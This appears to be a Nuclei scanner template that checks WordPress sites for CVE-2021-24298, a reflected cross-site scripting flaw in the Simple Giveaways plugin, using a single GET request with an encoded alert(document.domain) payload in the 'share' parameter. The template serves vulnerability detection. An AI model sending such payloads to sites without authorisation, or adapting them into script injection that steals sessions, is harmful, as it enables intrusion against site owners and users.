id: CVE-2021-24298

info:
  name: Simple Giveaways < 2.36.2 - Reflected Cross-Site Scripting (XSS)
  author: daffainfo
  severity: medium
  description: The method and share GET parameters of the Giveaway pages were not sanitised, validated or escaped before being output back in the pages, thus leading to reflected XSS
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24298
    - https://codevigilant.com/disclosure/2021/wp-plugin-giveasap-xss/
    - https://wpscan.com/vulnerability/30aebded-3eb3-4dda-90b5-12de5e622c91
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24298
    cwe-id: CWE-79
  tags: cve,cve2021,wordpress,xss,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200